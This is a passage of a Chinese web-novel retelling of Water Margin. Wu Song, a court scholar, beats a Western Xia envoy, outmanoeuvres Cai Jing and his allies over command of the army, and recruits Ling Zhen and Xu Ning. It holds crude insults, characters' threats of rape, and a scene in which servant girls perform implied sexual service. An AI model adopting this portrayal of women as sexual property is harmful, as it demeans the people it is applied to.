察哥回头问身后的人,身后的人嘀嘀咕咕说了几句。
察哥稍微有些紧张的脸色逐渐变得轻蔑:
“原来是宋国的状元,又是一个没用的读书人!”
大宋重文轻武,对读书人高看一眼。
但是对于西夏来说,只有武士才是受人尊敬的。
书生是懦弱无用之辈。
一开始,察哥见武松身材魁梧,又英雄气概,以为是个武将,所以畏惧。
得知武松是个读书人,心中的畏惧变成了鄙视。
武松只是笑了笑,并未反驳,任凭察哥嘲讽轻视。
所谓骄兵必败,先让你得意。
不过,察哥这句读书人没用,几乎把所有人都骂了一遍。
在场的官员,几乎都是进士出身。
大家的脸色都不好看。
徽宗坐在龙椅上,窝窝囊囊地吞了这口气。
“晋王远道而来,想如何谈?”
徽宗开门见山,察哥冷笑道:
“黄河以西,全部割让给我大夏,每年赔款白银1千万两、丝绢十万匹、茶叶百万斤!”
朝堂马上炸锅了,这个条件太过苛刻了。
简直就是**!
户部尚书彭霖说道:
“晋王这条件,与劫掠何异?”
察哥瞪着彭霖,冷笑道:
“没错,我就是劫掠,你若不答应,我便攻下河西,杀入汴京!”
“你...”
彭霖想骂又不敢骂,只能忍气吞声。
徽宗看向蔡京、童贯,两人同时低头不语。
监察御史萧服走出来,拜道:
“圣上,微臣**枢密使童贯损兵折将、丧权辱国,请圣上将童贯下狱问罪,革职查办、流放三千里!”
童贯猛地抬头,指着萧服骂道:
“你敢!”
“你在边关丧师十万,岂有不治罪的道理!”
“我也曾立功!”
“功劳何在?”
“你...”
萧服看向徽宗,高声道:
“圣上,国有国法、军有军规,童贯此贼不除,如何取信天下!”
童贯打了大败仗,按理说是该处置。
但童贯是徽宗的宠臣,徽宗
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舍不得处理。
这就是明君和昏君的区别。
如果明君在上,童贯这种人死一万次都不够。
但徽宗就是不处理。
蔡京走出来,说道:
“萧御史,今日朝会商议和谈,不说童枢密的之事,莫要胡搅蛮缠。”
“太师,童贯是你举荐,你也有罪!”
“你...冥顽不灵!”
蔡京气得胡子飞起。
徽宗开口道:
“好了萧御史,朕自会处置童枢密,今日朝会不说此事。”
皇帝开口,萧服不好再说,只能忍了。
“晋王所说,无法答应,你再想想吧。”
“陛下给的条件就是如此,若是不给,那就再战!”
徽宗脸色很不好看,心里有气却又不敢发作。
高俅目视童贯,蔡京微微颔首。
童贯走出来,说道:
“晋王想再战,那就再战!”
“我朝有猛将,不怕输给你!”
察哥睥睨童贯,冷笑道:
“猛将?哪个猛将?”
童贯手指武松,说道:
“这便是我大宋的猛将。”
察哥看向武松,大笑道:
“这不过是个书生而已,你说他是猛将?”
身后使团跟着嘲讽:
“长得还算魁梧,一个状元,读书的羔羊,有个甚用!”
“我一拳便能结果了他。”
“杀鸡焉用牛刀,只需一柄**,就能宰了他。”
武松心中暗笑,童贯他们的阴谋开始了。
趁着和谈的时候,把自己推到前面,让自己和西夏翻脸,然后和西夏打仗。
他们都觉得自己不行,打不过西夏,然后再**定罪,弄死自己。
如此伎俩,武松早已看透。
不过,武松要的就是这个。
作为一个刚刚考中状元、踏入朝堂的新人,如果武松主动请缨,这些人肯定反对,不给武松兵权。
但是,如果武松拒绝,他们反而会什么都给,只要武松掉进这个坑!
高俅走出来,对着徽宗说道:
“圣上,西夏所提的条件太过荒谬,祖宗之地,岂可舍弃!”
“赔偿白银1千万两,我朝国库必定空虚,丝绸、茶叶更是不能给。”
“微臣以为,可以再战!”
徽宗惊愕地看着高俅,心中已然明白。
徽宗只是昏庸,不是**。
朝堂的大臣也能看出来,蔡京三人在合伙陷害武松。
第163章 暴打晋王,抄你老母
“太尉休要胡闹,今日和谈,并非开战。”
徽宗挥挥手,高俅暂时退下。
徽宗看向察哥,说道:
“朕有意与你们和谈,但你们所提条件过于苛刻,实难答应。”
“若是将条件降低,朕可以继续谈。”
察哥拿准了大宋不敢再战,一丝不肯退让:
“赵佶,我们陛下说了,只多不少!”
“你们若是不答应,那就让这个状元郎和我们再战!”
被察哥直呼名字,徽宗脸色阴沉,心中很不爽。
童贯指着武松喝道:
“武松,你自诩文武双全,当此之时,为何不发一言?”
武松冷笑道:
“童贯,你丧权辱国,反倒指责我?要脸么?”
“你应该是不要脸的,你连根都没了,要甚么脸面!”
作为太监,最讨厌别人说他没叽叽。
武松当朝骂他没有根,童贯气得脸皮变成猪肝色。
“你敢羞辱我!”
武松指着察哥说道:
“羞辱你算什么,这厮羞辱我大宋、羞辱圣上,都是因为你!”
“你这个死太监,误君误国的东西!”
童贯暴跳如雷,挥拳冲向武松,其他官员慌忙拉住劝解。
察哥冷笑看着童贯,嘲讽道:
“本王没想到童枢密如此英勇,可惜战场上没见到你。”
童贯咬牙切齿,先忍了这口气。
蔡京走出来,说道:
“圣上,西夏要求割让河西之地,此事万不可答应。”
“我朝地大物博,还可再战。”
“微臣举荐武松做为主将,领兵出战。”
徽宗皱眉道:
“太师何其荒谬,武松从未领兵,如何能当主将?”
“朕知道你们有矛盾,军国大事当前,不可意气用事。”
监察御史萧服也斥责蔡京三人公报私仇。
朝堂上的官员低头议论,都说蔡京三人在陷害武松。
枢密直学士蔡攸开口道:
“太师德高望重,为何不自己带兵打仗?”
“我是太师,坐而论道,又不是武夫,打甚么仗。”
“你自己怕死,做了缩头乌龟,却要别人去送死,不当人子。”
“混账,逆子!”
父子两个吵起来,徽宗感觉头疼,抬手阻止两人争吵。
“晋王的条件,朕无法答应,再议吧。”
徽宗起身离开,察哥大喊道:
“赵佶,你不答应,我们大夏的铁蹄将踏平你的宫殿!”
“老子要睡你的皇后,你的女儿茂德帝姬,老子也要睡她!”
满朝文武都听着,徽宗也还没有离开。
听到这话,徽宗感觉无比耻辱...
砰!
众人震惊之际,却见晋王察哥被一脚踢飞,身体狠狠撞在童贯身上。
出手的正是武松!
骂蔡京、骂童贯、骂大宋、骂徽宗,统统随便!
但是,茂德帝姬是武松预定的女人!
你**说要睡她!
老子不打你打谁!
武松突然出脚,察哥猝不及防,被一脚踢飞!
“杀了他!”
西夏使者睚眦欲裂,十几个人同时**。
武松叉开拳脚,和十几个人混战,打得十分激烈。
蔡京、高俅吓得屁滚尿流,赶紧躲避。
蔡攸也被吓了一跳,赶紧后退躲避。
只见武松边走边打,不被包围,玉环步配合鸳鸯腿,把西夏使者一一打翻。
监察御史大喊:
“护驾、护驾!”
门外禁军冲进来,把西夏使者团团围住。
十几个西夏使者,被武松打翻了九个,剩下的不敢打了。
察哥爬起来,指着武松骂道:
“你敢打我!”
“老子打的就是你!**你老母!”
察哥知道武松勇猛,转头指着徽宗骂道:
“赵佶,还不杀了他!”
蔡京回过神来,赶忙指着武松骂道:
“好贼子,竟敢殴打晋王,你想重开战事么!”
童贯爬起来,骂道:
“来人,把武松拿下!拿下!”
高俅大喊:“来人,拿下这厮!”
高俅管着殿帅府,他下令,禁军马上围过来。
武松指着蔡京三人骂道:
“自古道:君如父,圣上好比你们的父亲一般、皇后便是你们母亲!”
“察哥这厮说要睡皇后,你们不敢还嘴,还要抓我!”
“童贯是太监,他没有爹娘,也就罢了!”
“蔡京,我问你,察哥要睡你老娘,操你老娘,你要也不要!”
“高俅,把你老娘从土里刨出来,给察哥操,你要也不要!”
“你们这些禁军,也是当兵的,有没有骨头、有没有老娘!”
武松指着满朝文武,骂道:
“欺负到脸上来了,都**没骨头的贱种!”
武松一番话,骂得所有人无话可说。
徽宗终于也怒了,走到武松身边,指着察哥骂道:
“你这厮何其无礼!若是我的臣子,到你兴庆府说此等话,你当如何!”
察哥捂着肚子
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怒道:
“你若是能战胜我大夏,任凭你羞辱!”
“你...”
徽宗气得要命,却又无可奈何,指着童贯和一帮大臣骂道:
“都是没用的东西,丧权辱国!”
徽宗甩着袖子,怒气冲冲回了后廷。
察哥指着武松骂道:
“武松,本王记住了,我必杀你!”
武松冷笑道:
“察哥,老子不是童贯那样的太监,没有把的东西!”
“你听好,我必灭你西夏,睡你的皇后!”
察哥气极反笑,大骂道:
“好好好,不用再谈了,你们等着!”
说罢,察哥带着人离开。
童贯指着武松骂道:
“好好的和谈,被你搅黄了,你可知罪!”
“闭嘴!没用的死太监,若非你打了败仗,圣上何至于受此**!”
“俗话说,君忧臣辱、君辱臣死!”
“你不**,更待何时!”
童贯被骂得浑身颤抖...
“一群废物!”
武松啐了一口,甩着袖子离开。
蔡攸看着武松离去,惊叹道:
“武松真男子汉也!”
监察御史萧服也忍不住赞叹道:
“好个武松!”
朝堂上的大臣虽然佩服武松,但武松也把他们骂了一顿,心里不爽。
大宋的皇帝是怂包,大臣也不是好东西,特别是文臣。
心胸狭隘、结党营私,无能至极,却又死要面子。
武松骂了他们,都想着让武松吃亏。
出了垂拱殿,武松径直骑马回家。
赵楷、何运贞已经在家里候着,孙二娘、扈三娘和施恩一众人也在等消息。
“哥哥,廷议如何?”
“晋王察哥被我暴揍了一顿,和谈破裂了。”
武松坐下来,先倒了两碗酒解气。
“啊?你怎的又**?”
赵楷惊愕,武松瞪了赵楷一眼,说道:
“老子是为你们打的!”
武松把廷议过程说了一遍,气得赵楷骂道:
“察哥辱我太甚!”
“知道我为什么打他了吧?”
“打得好!”
赵楷气得喝了一碗酒。
何运贞问道:“哥哥不打算接这个差事?”
“自然要接,但我不能主动接兵权,如此才能讨价还价。”
武松转头看向赵楷,问道:
“郓王可想领兵当主将?”
“啊?我?别,我不会!”
赵楷被吓到了。
第164章 第一火炮手,轰天雷凌振
“你只需挂个名头,实际指挥由我来。”
赵楷狐疑地看着武松,问道:
“你真会?你也未曾领兵,可别...弄巧成拙。”
何运贞赶忙说道:
“哥哥能掐会算,定能打胜仗,哥哥若是去时,小弟生死相随。”
何运贞等了一年,只为了这一天。
还有他的父亲何正复,一直在家里等着。
赵楷还在犹豫,武松嘿嘿笑道:
“你不建功立业,如何争夺太子?”
一句话,说得赵楷脸色瞬间变了。
徽宗的长子是赵桓,生母是王皇后,地位高,此时首封定王。
按照嫡长继承制,赵桓应该成为太子。
此时,太子之位还没有确定。
诸位皇子都在暗中竞争,赵楷去年参加科举,也是想借着科举上位。
但是没办法,遇到了武松,没有考中状元。
要想把其他皇子踩在脚下,把赵桓压下去,必须有特殊的功劳。
而与西夏的战争,无疑是最好的跳板。
想到这里,赵楷说道:
“好,只要你肯定去,我愿意!”
赵楷下定了决心。
何运贞问道:
“哥哥,接下来该如何?”
“等吧,等着蔡京、童贯告我状,逼着我接下主将。”
“好,我回去与父亲说。”
何运贞起身离开,赵楷也走了。
宅子大门关上,戴宗问道:
“二郎,领兵打仗不是玩笑,得仔细准备才是。”
“院长放心,我心里有数。”
看看天色尚早,武松说道:
“院长与我出去一趟,去寻一个人。”
“好。”
戴宗跟着武松出门,扈三娘看着,心中不悦。
孙二娘赶忙喊道:
“二郎,怎的不带三娘?”
“我去甲仗库寻人,并非闲逛。”
“你带着三娘去便是。”
武松知道扈三娘少女性子,喜欢粘着自己,笑道:
“三娘与我同去吧。”
“不去,与你院长同去。”
扈三娘使小性子,众人哄笑:
“三娘去吧,你若不在,那街上的**又要把二郎勾了去。”
听了这话,扈三娘赶紧跟着武松出门。
孙二娘笑道:
“这丫头,恨不得挂在二郎身上。”
众人又是一阵哄笑。
出了宅子,武松往城西走去。
扈三娘跟在身边,左看看右看看,手时不时勾一勾武松的手指。
戴宗看着,感觉自己出来有点多余。
到了城西,见到一座好大的库房。
扈三娘问道:“这是甚么去处?”
“这里是甲仗库,存放兵器甲胄之地。”
“来这里作甚?”
武松走到门口,早有士兵上前询问:
“大人有甚么事情?”
武松穿着紫色官袍,士兵知道武松是大官儿。
但是,甲仗库作为军备重地,没有通行证不能进入。
“我是武松,你们甲仗库副使凌振可在?”
“凌副使在库中。”
“劳烦通个话,便说我武松寻他有事。”
士兵不敢怠慢,连忙通传。
很快,一个身材中等精干的汉子走出来,对着武松行礼道:
“可是状元公当面?”
“正是我,凌副使有礼了。”
“早闻状元公大名,今日得见,果是非凡人物。”
“凌副使若得空,请到街边酒家吃杯酒如何?”
“敢不从命。”
凌振对着士兵说了几句,便跟着武松离开。
选了一家酒楼,要了一个雅间,四人坐下说话。
“这位是我的义妹扈三娘,这位本是江州牢营的院长戴宗。”
凌振拱手见过,算是认识了。
“状元公如何认得在下?”
凌振很好奇,武松为什么找他?
甲仗库副使属于不入流的胥吏,平日里没有哪个大官儿会正眼瞧他。
武松却亲自上门来请,凌振受宠若惊。
“凌副使轰天雷的名号,谁人不知?”
武松亲自给凌振倒了一碗酒,凌振赶忙起身接了。
眼前这个汉子不是别人,正是地轴星凌振,外号:轰天雷。
按照《水浒传》的剧情,呼延灼攻打梁山不利,派人请凌振帮忙。
因为凌振擅长制造火炮、**,是大宋第一炮手,妥妥的技术型人才!
后来被吴用设计抓住,在梁山泊入伙,排名五十二!
**在古代可是好东西,这样的专家人才,武松当然要截胡。
听了武松的夸奖,凌振有点不好意思:
“些许伎
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俩罢了,怎入状元公法眼。”
“战阵之上,若能得到凌副使相助,定能无往不利。”
“过奖了,过奖了。”
凌振不好意思,因为他的**、火炮虽然厉害,但是也就那样。
原因很简单,凌振是大宋第一炮手,但大宋的技术不行。
兵器的锻造,不是那么容易的事情,必须有工业基础。
不过,对于武松来说,这也不是问题。
因为武松有更好的技术,凌振只需按照武松的吩咐改良**、火炮就行。
伙计送菜上来,武松陪着凌振喝了好几碗。
“无功不受禄,今日吃了状元公的酒,不知有甚么用在下的地方?”
“不敢瞒凌副使,过些时日,我可能要出征西夏,届时还请凌副使随我同往。”
凌振有些惊讶,他完全没有听到消息。
不过也正常,他只是一个甲仗库的副使,哪里晓得如此大事。
“不是小的推脱,小的是甲仗库的副使,只怕走不得。”
“凌副使放心,届时我定向圣上求旨,为凌副使讨个一官半职。”
凌振听闻,喜从天降,说道:
“那有甚么好说的,小的为状元公马首是瞻。”
凌振是一个胥吏,一辈子无法做官。
武松如果能让徽宗下旨,给他授官,那就是突破阶层,成为正式的官员。
这等天大的好处,他岂会不要。
“凌副使客气了,待到出征时,再来相邀。”
“若是他人使唤你时,切不可答应。”
凌振说道:“小的已经答应状元公,绝不食言。”
“那便好。”
四人好好喝了一顿酒,凌振回甲仗库,武松回宅子。
走在街上,却见一个精壮的汉子,穿着军服,手里提着一杆金枪。
见到此人,武松大喜道:
“险些忘了此人。”
戴宗看向前面的汉子,问道:
“那人是二郎的朋友?”
“不是,但此人有大用处。”
武松快步往前,追上前面的汉子,问道:
“敢问可是徐教师当面?”
汉子停下脚步,见武松身穿紫色袍服,连忙恭敬行礼,问道:
“小可徐宁,不知大人哪位?”
这个汉子不是别人,正是金**徐宁!
第165章 金**徐宁,赵福金感动
徐宁也是梁山好汉108将之一,外号金**,排行十八,属于天佑星。
徐宁是禁军金枪班教师,属于皇帝禁军护卫的教头,有官职在身,不是普通的胥吏。
徐宁祖传钩镰枪法,专门对付骑兵。
宋江和呼延灼对阵时,呼延灼用了连环马,宋江打不过。
于是派时迁盗取徐宁祖传雁翎金甲,骗徐宁上梁山入伙,最后大破呼延灼连环马。
武松要往边关和西夏打仗,徐宁的钩镰枪法最合适不过。
“在下武松,集英殿修撰。”
“原来是武状元当面,失敬、失敬!”
武松正五品、集英殿修撰,状元出身,地位清贵,前途无量。
徐宁虽然武艺高强,属于御前侍卫,但毕竟是武夫出身,官阶不过九品,和武松不能比。
“不知徐教师是否得空,请到舍下吃杯茶。”
“武修撰邀请,小可岂敢不从。”
徐宁看向身后的扈三娘、戴宗,武松说道:
“这是义妹扈三娘,这是江州牢营的戴院长。”
“两位有礼。”
徐宁行礼,扈三娘、戴宗回礼:
“早听闻徐教师金枪无敌,今日得见,果然仪表堂堂。”
“过奖。”
徐宁跟着武松到了宅子,施恩和李二宝正在练枪法。
徐宁停下脚步,仔细观看。
武松笑道:
“徐教师觉得如何?”
“嗯,枪法精妙,只是这两人还不熟练。”
“这枪法是何人传授?”
徐宁很好奇,武松作为状元、集英殿修撰,家里为何这么多武夫?
“惭愧,是我传授的。”
“哦?武修撰精通枪法?”
“不敢说精通,偶然学来的,我擅长的是拳脚刀法。”
施恩、李二宝收了**,走过来问道:
“这位大人如何称呼?”
武松介绍道:
“这位是金枪班的徐宁,外号金**,家传钩镰枪法独步天下。”
徐宁呵呵笑了笑,有些不好意思。
“这位是我的随从李二宝,从清河县带来的。”
“这位是我结义兄弟施恩,孟州人士。”
“这两位是我结义哥嫂张青、孙二娘。”
徐宁拱手一一见过。
武松请徐宁坐下,孙二娘进后厨切了酒肉过来。
一众人就在院子里坐下。
玉兰出来给众人倒酒。
“早听闻武修撰大名,却一直不得见。”
“今日见了尊面,才知道传闻不虚,果然是个文武双全的人物。”
武松笑道:
“过奖了,其实我更喜欢舞刀弄棒,只是我朝以文立国、崇文抑武,这武人就是矮文人一头。”
“无奈何,我只得走科举,先考了状元再说。”
徐宁笑道:
“武修撰过谦了,状元岂是寻常能中的。”
武松举杯,众人干了一杯。
酒过三巡、菜过五味。
徐宁放下手中酒杯,问道:
“不知武修撰找下官有何事?”
武松找自己,肯定不是为了喝酒。
武松说道:
“确有事相求。”
“大人请说,不敢说求字。”
武松郑重地说道:
“童贯战败,今日廷议,西夏使者咄咄逼人,扬言要我朝割让河西之地、赔款1千万两银子,还需丝帛茶叶百万。”
“更可恶的是,那厮居然当朝说要睡皇后,简直禽兽不如!”
听到这里,徐宁身为侍卫,气得银牙紧咬,骂道:
“西夏无礼至极,竟敢辱没圣上。”
武松说道:
“是可忍孰不可忍,我当朝把西夏的晋王打了一顿,其他使者也被我打趴下了。”
听到这里,徐宁起身行礼:
“不愧是武修撰,上次辽国晋王出使我朝,也是武修撰出手教训。”
武松摇头叹笑道:
“我是个读书人,但我和他们不同,我是有骨头的。”
“西夏晋王被我打了,边关必定重开战事。”
“蔡京、童贯必将罪责推到我头上,让我领兵征战西夏。”
“那西夏所倚仗的便是铁鹞子,我需徐教师的钩镰枪法破他们的骑兵。”
“不知徐教师是否愿意助我一臂之力?”
徐宁马上干脆地说道:
“若有此门路,徐宁愿效犬马之劳!”
“好,先敬徐教师一杯!”
众人举杯,徐宁干了一杯。
玉兰殷勤倒酒,徐宁喝到半醉,说道:
“不能再喝了,明日还需往龙符宫点卯。”
“如此,便不再劝了,我送徐教师回府。”
“岂敢劳烦大人相送。”
“你我兄弟论交,分甚么大小。”
武松扶着徐宁起身,拿了金枪扛在肩上。
两人离开宅子,边走边聊。
到了徐宁门口,妻子出来迎接,徐宁又邀请武松到家里喝茶。
两人又聊了许久,等到武松
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离开,天色已经黑了。
回到宅子,却见一个宫女坐在院子里,李馨陪着说话。
“主人回来了。”
“有何事?”
宫女说道:“茂德帝姬请武修撰到公主府说话。”
这么晚了还说什么?
让我过夜?
武松觉得有些奇怪,跟着宫女出门。
扈三娘望着武松被公主叫走,心里一阵酸溜溜的,感觉自己的男人又被抢了。
孙二娘没法子,又圈了一番,让扈三娘不要多想。
武松到了公主府,从侧门进入,在院子里见到了赵福金。
“你今日怎又**了?蔡京他们正在父皇那里告状。”
刚才赵福金进了皇宫,想和徽宗说话。
却听见蔡京、童贯和高俅三人极力诋毁武松。
赵福金感觉不妙,赶紧派人把武松找来。
“那三个老狗,着实可恶。”
“今日那西夏晋王当面辱骂圣上,还说要睡皇后和公主。”
“两国交兵、不斩来使,若非看在他是使者的份上,我定然杀了他!”
赵福金不知道这事情,听了后,也是气得火冒三丈。
“西夏无礼至极!”
武松对着赵福金郑重说道:
“公主放心,西夏晋王今日骂了你,我定要斩他狗头!”
“我武松不允许世上有人骂你!”
听了这话,赵福金的少女心怦怦直跳。
她是公主,但徽宗并不能什么都给她。
因为徽宗也是老二,害怕辽国、西夏。
但是武松不一样,去年打了辽国晋王、今天又打了西夏晋王。
只有武松无所畏惧!
特别是这句“不允许世上有人骂你”,赵福金真的沦陷了。
“知你对我真心,也须谨慎些,那蔡京、高俅日夜在父皇耳边聒噪,总有信以为真的时候。”
“我心怀坦荡,何惧谗言。”
“好了,我知道了,你回吧。”
“微臣告退。”
武松退下,转身往外走。
赵福金突然喊道:
“等等。”
武松停下来,赵福金让宫女拿了一盒点心过来。
“父皇给我的,我给你拿去。”
“谢公主。”
武松接了,离开公主府。
望着武松离开,赵福金突然感觉空落落的。
“不行,我要到父皇那里去,不能让蔡京、高俅胡说。”
赵福金带着人走过飞桥复道,往徽宗寝殿去。
第166章 蔡京陷害,谁当主将?
第二天早上。
武松睁开眼睛,李馨和舌姬同时端着水进来伺候。
李馨拉开被子,舌姬爬到床上跪下。
武松看了一眼门外,问道:
“三娘还没起来吧?”
“主人放心,还没起来。”
说实话,武松有点后悔把扈三娘从扈家庄带过来。
这丫头想跟武松谈恋爱,还是特别纯情那种。
以前武松和李馨、舌姬想怎么玩就怎么玩。
青楼的**也是,想怎么嫖就怎么嫖。
可自从扈三娘进了宅子,武松总是偷偷摸摸的。
舌姬费了一番功夫,李馨把痰盂拿过来。
事情完毕,武松起床换衣服,准备往集英殿点卯上班。
一个太监匆匆到了门口,说徽宗有旨,请武松到讲议司。
武松骑马,很快到了讲议司。
说来也巧。
上次来这里,还是因为打了辽国晋王。
这次来这里,是因为打了西夏晋王。
讲议司参详官张拱臣、检讨官王方平都在。
见到武松,两人脸上又露出玩味的笑容。
“武修撰又来了。”
张拱臣阴阳怪气,武松笑道:
“种桃道士今何在,前度刘郎今又来。”
“两位大人可好?”
张拱臣、王方平只是冷笑,并不回答。
正说着,蔡京、童贯、高俅一起进来。
“见过三位大人。”
武松笑呵呵行礼,三人黑着脸,不理会武松,径直坐下来。
过了会儿,蔡攸和户部尚书彭霖、右侍郎王回走进来,还有一个看起来老成持重的男子,身穿紫色官袍。
“见过蔡大人、彭尚书。”
彭霖微微颔首,算是回礼。
蔡攸指着紫色男子说道:
“这位是枢密院宿太尉。”
“下官武松,拜见宿太尉。”
这个枢密院太尉名叫宿元景,在一众官员里,算是好人了。
梁山泊的招安,就是此人一手促成的。
宿元景是枢密院的太尉,相当于全国总司令。
高俅是殿帅府的太尉,相当于警卫总司令。
虽然都称呼太尉,但两人的职务、职责完全不一样。
不过,在大宋,头衔和实际职务分离,宿元景虽然是枢密院的太尉,但他并没有实际指挥权。
宿元景仔细打量武松,点头道:
“果然一表人才,坐吧。”
武松坐在蔡攸旁边,对面是蔡京。
武松转头对着蔡攸低声道:
“蔡大人,为了你,我可是彻底得罪了老狗啊。”
“莫怕,有老子护着你。”
“你家老狗凶狠啊。”
“你打得了老虎,打不得老狗?”
“还需蔡大人助我。”
“放心,你是我的人,我自然会护着你。”
“多谢。”
武松心中冷笑,真是个自信的蠢货。
徽宗从里面走出来,身后跟着杨戬。
“臣等见过圣上。”
众人起身拜见。
徽宗满脸疲惫,往中间的龙椅坐下。
“今日说说如何应对西夏。”
徽宗一开口,童贯马上接话:
“武松殴打晋王,再度挑起战事,自然应当由武松应对。”
蔡京、高俅同时点头赞同。
武松冷笑道:
“你打了败仗,引得察哥当面辱骂圣上。”
“我不像你老太监,无父无母无根,受不得那鸟气。”
“谁敢辱骂圣上,我杀他全家!”
武松装作一副义愤填膺的忠臣模样。
蔡京冷笑道:
“可笑至极,你殴打晋王,于事何补?”
“不过是激怒西夏,重开战事罢了。”
武松反问道:
“那请问太师,是否任凭察哥辱骂圣上?”
“我大宋一国之君,任人折辱,甚至扬言睡皇后、公主。”
“要不将你老母、妻妾、女儿一并送到西夏,让察哥玩个够?”
蔡京气得站起来,骂道:
“你辱我太甚!”
“你一个臣子,尚且知道廉耻,却要圣上隐忍,无耻之尤!”
蔡京被怼得无话可说。
徽宗开口道:
“好了,莫要再吵,只说如何办。”
蔡京坚持说道:
“此事由武松而起,微臣以为,封武松为主将,往西边抵御西夏。”
“臣附议。”
童贯、高俅马上赞同。
徽宗无奈看向武松,问道:
“爱卿,你以为呢?”
看样子,徽宗真是没辙了,想让武松担任主将。
武松想要的就是这个,但是不能马上接受,必须欲拒还羞、讨价还价。
“圣上明鉴,微臣只是一介书生,从未领兵打仗。”
蔡京三人脸上同时露出冷笑。
童贯开口道:
“武修撰这话说差了,哪个将军天生就会打仗。”
“便是咱家,也是跟着先帝慢慢学的。”
“你是状元,想来学得比我快,你担任主将,征伐西夏正合适。”
高俅附和道:
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>“不管如何说,西夏晋王是你打得,你有本事**,该有本事打仗才对。”
蔡京冷笑看着武松,嘲讽道:
“武松,你说童枢密是个太监,没有根。”
“你是个有根的,你怎也不敢去?”
这话虽然在讽刺武松,但童贯听在耳朵里,感觉格外刺耳。
心中骂道:老狗,你有根又怎样?
生个儿子和你如同仇敌,还不如咱家自在!
面对蔡京嘲讽,武松只是呵呵一笑道:
“太师德高望重,子嗣众多,下官以为应该由太师领兵。”
“哼,我身为太师,坐而论道,岂实一介武夫?”
“太师的意思,我是武夫?敢问太师当年殿试排第几?”
蔡京黑着脸不说话。
蔡京考中了进士,但他名次并不靠前,远不如武松这个状元。
“你莫要胡搅蛮缠,事情因你而起,此事必须由你担下。”
高俅附和道:
“太师所言有理,应该由武松担下。”
武松冷笑不说话,徽宗看向宿元景,问道:
“太尉以为如何?”
宿元景无奈道:
“诸位大人何必意气用事?此乃军国大事。”
“武修撰虽然状元及第、学识渊博,但领兵打仗须有战阵经验,武修撰领兵不合适。”
“微臣举荐渭州府经略安抚使种师中出任主将,只守不攻,必能抵御西夏。”
宿元景所说的种师中,就是鲁智深口中的小种经略相公。
禁军教头王进因为得罪了高俅,连夜带着老娘离开京师。
途中路过史家村,传授九纹龙史进棍棒枪法。
后来史进把家业败光了,夜走华阴县,到了渭州府,想寻找师父王进,但王进不在,只遇到了鲁智深。
那时候,鲁智深说:
洒家听得说,他在延安府老种经略相公处勾当。
俺这渭州,却是小种经略相公镇守。
这个小种经略相公,就是种师中,在渭州府担任经略安抚使,掌管秦凤路的军政大权。
种师中世代将门,镇守边关,所以宿元景举荐种师中。
蔡京马上说道:
“不妥,种师中年事已高,须有年轻将帅。”
“武松虽然没有经验,但可以到边关历练。”
宿元景很无奈,说道:
“军国大事,岂可儿戏?”
“西夏就要进攻,如何让武松历练?”
两边吵得不可开交,徽宗看向武松,问道:
“你觉得呢?”
第167章 接下任务,提出条件
“太师、枢密使都是贪生怕死之徒,我不是!”
武松开口,蔡京、童贯同时皱眉。
童贯怒道:“你不怕死,你便接了这个主将!”
“我接了就是!”
武松开口应了,在场所有人都愣住了。
蔡京还在绞尽脑汁,想着怎么骗武松接下这个必败的差事。
万万没想到,武松居然主动接了?
“好!”
童贯激动得跳起来,指着武松喝道:
“当着圣上的面,你若敢反悔,判你个欺君之罪,让你不得好死!”
徽宗惊愕地看着武松,问道:
“武松,你真接了?”
宿元景忍不住呵斥道:
“胡闹!你从未历经战阵,如何能领兵打仗?”
蔡攸也懵了,不知道武松什么意思?
蔡京喜道:
“当着圣上的面,你若敢反悔,就是欺君之罪。”
蔡京对着徽宗说道:
“圣上,武松自个儿应了这个差事,就让他担任主将吧。”
徽宗很不高兴,怒道:
“太师,你身为三公,当以大局为重。”
“如此大事,你还在倾轧!”
蔡京只得坐着,不敢再说。
高俅说道:
“圣上明鉴,这个武松颇有军事天分。”
“此次回乡探亲,他协助清河知县平定匪患,一人雪夜爬上数百米悬崖,亲手斩杀贼寇首领,平定匪患。”
“武松并非手无缚鸡之力的书生,让他担任主将正合适。”
武松在清河县的事情,高俅一清二楚。
知县张知白也上奏了吏部、审官院。
按理说,武松也有功劳,但是高俅示意压下,故意不给武松功劳。
如今为了把武松往前推,高俅这才提起。
“哦?爱卿还有如此能耐?”
徽宗大为惊奇,宿元景也很诧异。
早听说武松这个状元特立独行,喜欢动手**,闲着没事也打老虎。
没想到真的如此生猛?
“清河县景阳冈出现匪患,就是微臣打死老虎的地方。”
“知县张知白亲自带领官兵剿匪不利,都头战死,微臣便趁着下雪,攀上悬崖偷袭。”
“与知县里应外合,破了贼匪的山寨。”
徽宗赞叹道:
“爱卿果然文武双全,国之良才。”
蔡京马上又说道:
“微臣举荐武松出任主将,物尽其用、人尽其才!”
徽宗再次看向武松,问道:
“爱卿以为如何?”
武松假装沉默...
过了许久,武松还在沉默...
“武松,你到底接也不接?”
童贯焦躁,高俅冷笑道:
“在圣上面前夸下海口,你若是敢说不,那便是欺君之罪!”
武松还是沉默...
宿元景叹息道:
“西夏与贼寇不一样,武松不可出任主将。”
蔡京赶忙说道:
“圣上御前,岂可儿戏,武松既然说了,那便是主将!”
“武松,今日这差事,你不接也得接!”
童贯、高俅附和。
太监杨戬说道:
“圣上,武松身为状元,如果说话不算数,其他进士必定学他。”
“到那时,朝中官员都敢对圣上胡说八道。”
徽宗微微皱眉,心中也有些许不悦,问道:
“武松,你接还是不接?”
武松抬头,长长呼出一口气,说道:
“微臣岂敢欺君,只是我资历浅,也没有甚么靠山。”
“我出任主将,如何能服众?”
“若要我接这差事,微臣须有几个条件。”
童贯马上说道:
“你说便是!圣上必定答应你!”
武松冷冷扫了童贯一眼,没有理会他。
徽宗开口道:
“你有甚么条件,且说来听听。”
武松假装沉思...过了许久,武松才抬头说道:
“微臣出身低微、资历浅,须有个身份高贵之人担任主帅。”
“微臣与郓王交好,请求派郓王出任秦凤路经略安抚使,都督兵马诸军事。”
徽宗点头道:
“郓王...朕准了,还有呢?”
“大将刘法阵亡,微臣须有大将相助。”
“嘶...这..”
武松要大将,徽宗很为难。
大宋不缺读书人,但好的武将真不多。
人都是逐利的,在大宋,万般皆下品、惟有读书高。
当兵打仗就是下品!
有能耐的都考科举去了,没人愿意当兵。
好比学不了理科学文科,学不了文科学艺术,学不了艺术学体育,学不了体育...打螺丝去吧!
如果连螺丝都打不了...那就玩抖音搞直播吧,在线讨饭....
童贯冷笑嘲讽道:
“若有大将,要你作甚?”
高俅摇头嘲笑:
“枢密使说得对,朝廷若有大将,要你作甚?”
讲议司参详官张拱臣、检讨官王方平同时摇头嘲讽。
其他人官员也跟着
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笑起来。
武松心中暗喜:
老子知道你们没有大将,老子自己找就是!
